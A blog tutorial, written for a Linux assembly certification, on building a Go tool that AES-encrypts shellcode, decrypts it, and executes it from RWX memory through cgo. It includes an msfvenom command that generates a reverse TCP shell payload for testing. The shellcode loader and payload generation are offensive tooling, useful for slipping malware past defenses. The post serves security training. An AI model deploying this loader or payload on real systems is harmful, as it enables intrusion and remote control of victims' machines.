A Trinity of Shellcode, AES & Golang

Syscall59 — Alan Vivona
syscall59
Published in
4 min readMar 31, 2019

The goal for this post will be to demonstrate how to write a sort of crypter that will work as a command-line utility allowing us to:

  • Encrypt a file (it’s aimed for shellcode payloads but that’s irrelevant)
  • Decrypt a file
  • Run shellcode

Let’s get to it!

Photo by Bruno Nascimento on Unsplash

Step One: Encrypt

I choose AES as the cipher. The code looks like this (full source can be found on GitHub):

func Encrypt(key []byte, text []byte) ([]byte, error) { // Init Cipher
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
// Padding
paddingLen := aes.BlockSize - (len(text) % aes.BlockSize)
paddingText := bytes.Repeat([]byte{byte(paddingLen)}, paddingLen)
textWithPadding := append(text, paddingText...)
// Getting an IV
ciphertext := make([]byte, aes.BlockSize+len(textWithPadding))
iv := ciphertext[:aes.BlockSize]
// Randomness
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return nil, err
}
// Actual encryption
cfbEncrypter := cipher.NewCFBEncrypter(block, iv)
cfbEncrypter.XORKeyStream(ciphertext[aes.BlockSize:], textWithPadding)
return ciphertext, nil
}

The function just creates an AES cipher, then calculates the padding needed and proceeds to encrypt the payload.

Photo by Christopher Gower on Unsplash

Step Two: Decrypt

Now we need to implement the reverse function (again, full source code on Github):

func Decrypt(key []byte, text []byte) ([]byte, error) {
// Init decipher
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
if (len(text) % aes.BlockSize) != 0 {
return nil, errors.New("wrong blocksize")
}
// Getting the IV
iv := text[:aes.BlockSize]
// Actual decryption
decodedCipherMsg := text[aes.BlockSize:]
cfbDecrypter := cipher.NewCFBDecrypter(block, iv)
cfbDecrypter.XORKeyStream(decodedCipherMsg, decodedCipherMsg)
// Removing Padding
length := len(decodedCipherMsg)
paddingLen := int(decodedCipherMsg[length-1])
result := decodedCipherMsg[:(length - paddingLen)]
return result, nil
}
Photo by Artem Sapegin on Unsplash

Step Three: Run

As we are using Go (which does not allow raw bytes execution by default) and the shellcode provided was written for the C stack we need to find a way to execute C code in Go. This can be accomplished by using the “C” package and unsafe pointers.

In C we’d do something like this:

fp = (void *)shellcode
fp();

While in Go we need to use some tricks. We’ll use the unsafe package a special pointer that will allow us to use unsafe features:

import "unsafe"func Run(shellcode []byte) {
ptr := &shellcode[0]
unsafe.Pointer(ptr)
}

Then we add the C package, write our C code as a comment right above the import and use the defined function to execute the unsafe pointer. This will behave as the C code presented earlier:

/*
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
void execute(char *shellcode, size_t length) {
unsigned char *ptr;
ptr = (unsigned char *) mmap(0, length, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
memcpy(ptr, shellcode, length);
( *(void(*) ()) ptr)();
}
*/
import "C"
import ("unsafe")func Run(shellcode []byte) {
ptr := &shellcode[0]
size := len(shellcode)
C.execute((*C.char)(unsafe.Pointer(ptr)), (C.size_t)(size))
}

Yes, it’s ugly, I know… but you are running unsafe C code inside Go. It should be ugly. Full source code for this package can be found here.

Photo by freestocks.org on Unsplash

Step Four: CLI

Now that we have the meaty part ready we’ll need to implement some methods to facilitate the tool usage. I implemented some functions to allow the user to fire the encryption, decryption and “decrypt & run” routines using various sets of options.

I won’t go into details for this part as it just reads the parameters provided from os.Args[] and determines which function to execute depending on the input. Source code can be found here.

gocrypt {action} {key} {file}Action can be: 
Encryption: --encrypt -e encrypt e
Decryption: --decrypt -d decrypt d
Decrypt & Run: --run -r run r
Key: must be 16, 24 or 32 chars longFile: must be a valid path
Photo by Clem Onojeghuo on Unsplash

Step Five: Show

We can get the raw bytes for a reverse TCP shell from Metasploit issuing:

msfvenom -a x64 --platform linux -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 > msfvemonpayload

After that, we can use the payload to test our crypter. It’s show time!

The whole module can be found here:

Resources:

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: SLAE64–1326
Source code can be found
here

--

--